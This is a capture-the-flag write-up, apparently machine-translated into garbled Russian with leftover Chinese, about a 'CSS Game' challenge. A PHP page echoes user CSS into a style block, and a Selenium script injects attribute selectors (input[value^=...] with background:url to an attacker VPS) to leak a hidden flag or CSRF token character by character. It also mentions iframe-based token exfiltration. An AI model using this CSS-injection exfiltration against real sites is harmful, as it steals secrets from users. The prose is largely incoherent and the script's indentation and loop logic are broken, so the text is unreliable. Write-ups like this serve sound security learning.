Тема анализ 0x01
<html>
<head>
<meta charset="utf8" />
<title>CSS Game</title>
<style>
</style>
</head>
<body>
<h1>CSS Game</h1>
<p>
The flag is in <code>http://127.0.0.1:60000/flag.html</code>
</p>
<p>
flag.html
<!--
<html>
<link rel="stylesheet" href="${encodeURI(req.query.css)}" />
<form>
<input name="Email" type="text" value="test">
<input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70"/>
<input type="submit" value="提交">
</form>
</html>
-->
</p>
<form action="/crawl.html" method="post">
http://127.0.0.1:60000/flag.html?css=<input type="text" name="css" />
<input type="submit"/><br><br>
</form>
</body>
</p>
Вероятно, означает, что мы хотим ввести CSS, CSS и это контролируется flag.php, и мы должны флаг в скрытом вводе внутри flag.php значения, только через CSS мы вводим это значение с вне ~~
Следующий скрипт отправил его непосредственно, по экологическим причинам мы имеем один бит , чтобы попытаться на Ем какую - то причина побежала несколько экологических повесила, поэтому я беру на местную окружающую среду, принципы аналогичны ~ ~
index.html
<html>
<head>
<meta charset="utf8" />
<title>CSS Game</title>
<style>
</style>
</head>
<body>
<h1>CSS Game</h1>
<p>
The flag is in <code>http://127.0.0.1/flag.php</code>
</p>
<p>
flag.php
<!--
<html>
<link rel="stylesheet" href="${encodeURI(req.query.css)}" />
<form>
<input name="Email" type="text" value="test">
<input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70"/>
<input type="submit" value="提交">
</form>
</html>
-->
</p>
<form action="/flag.php" method="post">
http://127.0.0.1/flag.php?css=<input type="text" name="css" />
<input type="submit"/><br><br>
</form>
</body>
</p>
flag.php
<html>
<style>
<?=preg_replace('#</style#i', '#', $_POST['css']) ?>
</style>
<form>
<input name="Email" type="text" value="test">
<input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70"/>
<input type="submit" value="提交">
</form>
</html>
полезная нагрузка
# encoding = utf-8
import string
from selenium import webdriver
import time
driver = webdriver.Chrome()
url = 'http://127.0.0.1'
flag = ''
s = string.digits+string.ascii_letters+'{'+'}'+'_'
for i in s:
flag += i
string = 'input[name="flag"][value^="%s"] { background:url(http://129.204.207.xxx:8885/%s);}'%(flag, flag)
data = {"css": string}
driver.get(url)
css = driver.find_element_by_name('css')
css.send_keys(string)
driver.find_element_by_xpath("//input[@type='submit']").click()
flag= ''
Здесь я использую
input[name="flag"][value^="%s"] { background:url(http://129.204.207.xxx:8885/%s);}
value^=xxx,就是指value的前几位是xxx
Если право посетить наш VPS, так что мы знаем, каковы первые несколько, а затем вручную изменить значение ~ ~ немного в полезной нагрузке
Думая вопрос:
Поскольку этот вопрос параметры CSS поста, но селен не поддерживает прямую записи, так что я искал , чтобы поддержать пост библиотеки, но там всегда будут проблемы, но тогда я был непосредственно selenuim定位元素,填写表单
представлен решить эту проблему -
я думаю , развитие selenuim начальников, но и считает , что мы можем получить первую страницу, заполнить форму , а затем найти его элементы, поэтому не разрабатывать модули POST ~~
В процессе выполнения я также пытался xhr
, 但是xhr那个只是访问url,并不渲染url
так что нет никакого способа получить доступ к нашим VPS ~~
Справочные ссылки
Здесь снова опубликовало несколько статей о селене ~~ позиционирование
ссылки
Последняя официальная нагрузка размещена
1
Постоянно создавать IFRAME, динамически догадываются каждый CSRF токен, конечно, это требует , чтобы целевой сайт Рентгеновских каркасных опции не заблокированная
ссылка
2
Это IFrame отключен, есть способы , чтобы послать его?
Обратитесь к статье сказал:
https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b